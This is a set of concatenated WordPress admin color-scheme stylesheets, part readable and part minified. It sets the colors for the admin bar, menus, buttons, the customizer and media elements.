#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #c7a589;
  background: #46403c;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #c7a589;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #c7a589;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #46403c;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #656463;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #cdcbc9;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(27.6923076923, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #c7a589;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #c7a589;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: hsl(27.6923076923, 7%, 95%);
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: hsl(27.6923076923, 7%, 95%);
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #6c645c;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #9ea476;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #8e946a;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #6c645c;
  background-color: #6c645c;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #c7a589;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #cdcbc9;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #c7a589;
  border-color: #bf9878;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #c7a589;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #c7a589;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #c7a589;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #c7a589;
}

.attachment.details .check {
  background-color: #c7a589;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #c7a589;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #c7a589;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #c7a589;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #c7a589;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #59524c;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #59524c;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #c7a589;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #c7a589;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #d7bfac, 0 0 2px 1px #c7a589;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: hsl(27.6923076923, 7%, 95%);
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #c7a589;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #46403c;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: hsl(27.6923076923, 7%, 95%);
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #c7a589;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-right-color: #c7a589;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #c7a589;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-right-color: #c7a589;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #d7bfac, 0 0 2px 1px #c7a589;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #c7a589;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #c7a589;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #c7a589;
  border-style: solid;
  box-shadow: 0 0 0 1px #c7a589;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #c7a589;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #c7a589;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #c7a589;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #d7bfac, 0 0 2px 1px #c7a589;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #c7a589;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#e14d43;box-shadow:0 0 0 1px #e14d43}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#e14d43;color:#262a2e;box-shadow:inset 0 2px 5px -3px #e14d43}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#e14d43;border-color:#e14d43}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#d02c21;color:#d02c21}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#e8776f;color:#a4231a;box-shadow:0 0 0 1px #e8776f}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#e14d43;border-color:#e14d43;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#e35950;border-color:#df4136;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #e14d43}.wp-core-ui .button-primary:active{background:#dd382d;border-color:#dd382d;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#e14d43;color:#fff;border-color:#ba281e;box-shadow:inset 0 2px 5px -3px #200705}.wp-core-ui .button-group>.button.active{border-color:#e14d43}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#363b3f}.wp-core-ui .wp-ui-text-primary{color:#363b3f}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#e14d43}.wp-core-ui .wp-ui-text-highlight{color:#e14d43}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#69a8bb}.wp-core-ui .wp-ui-text-notification{color:#69a8bb}.wp-core-ui .wp-ui-text-icon{color:hsl(206.6666666667,7%,95%)}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #e14d43;color:#e14d43}.wrap .page-title-action:hover{color:#d02c21;border-color:#d02c21}.wrap .page-title-action:focus{border-color:#e8776f;color:#a4231a;box-shadow:0 0 0 1px #e8776f}.view-switch a.current:before{color:#363b3f}.view-switch a:hover:before{color:#69a8bb}#adminmenu,#adminmenuback,#adminmenuwrap{background:#363b3f}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(206.6666666667,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#e14d43}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#26292c}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#26292c}#adminmenu .wp-submenu .wp-submenu-head{color:#c3c4c5}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#c3c4c5}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#e14d43}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#e14d43}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#e14d43}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#69a8bb}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#26292c}#collapse-button{color:hsl(206.6666666667,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#e14d43}#wpadminbar{color:#fff;background:#363b3f}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#e14d43;background:#26292c}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#e14d43}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#e14d43}#wpadminbar .menupop .ab-sub-wrapper{background:#26292c}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#4c4c4d}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c3c4c5}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(206.6666666667,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#e14d43}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#e14d43}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#464d52}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#69a8bb}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#5f97a8}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#464d52;background-color:#464d52}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#e14d43}#wpadminbar #wp-admin-bar-user-info .username{color:#c3c4c5}.wp-pointer .wp-pointer-content h3{background-color:#e14d43;border-color:#dd382d}.wp-pointer .wp-pointer-content h3:before{color:#e14d43}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#e14d43}.media-item .bar,.media-progress-bar div{background-color:#e14d43}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #e14d43}.attachment.details .check{background-color:#e14d43;box-shadow:0 0 0 1px #fff,0 0 0 2px #e14d43}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #e14d43}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#e14d43}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#e14d43}.theme-filter.current,.theme-section.current{border-bottom-color:#363b3f}body.more-filters-opened .more-filters{color:#fff;background-color:#363b3f}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#e14d43;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#e14d43;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #e8776f,0 0 2px 1px #e14d43}div#wp-responsive-toggle a:before{color:hsl(206.6666666667,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#e14d43}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#26292c}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(206.6666666667,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#e14d43}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#e14d43}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e14d43}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#e14d43}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #e8776f,0 0 2px 1px #e14d43}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#e14d43;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e14d43}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e14d43;border-style:solid;box-shadow:0 0 0 1px #e14d43;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e14d43}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #e8776f,0 0 2px 1px #e14d43}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e14d43;color:#0073aa}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
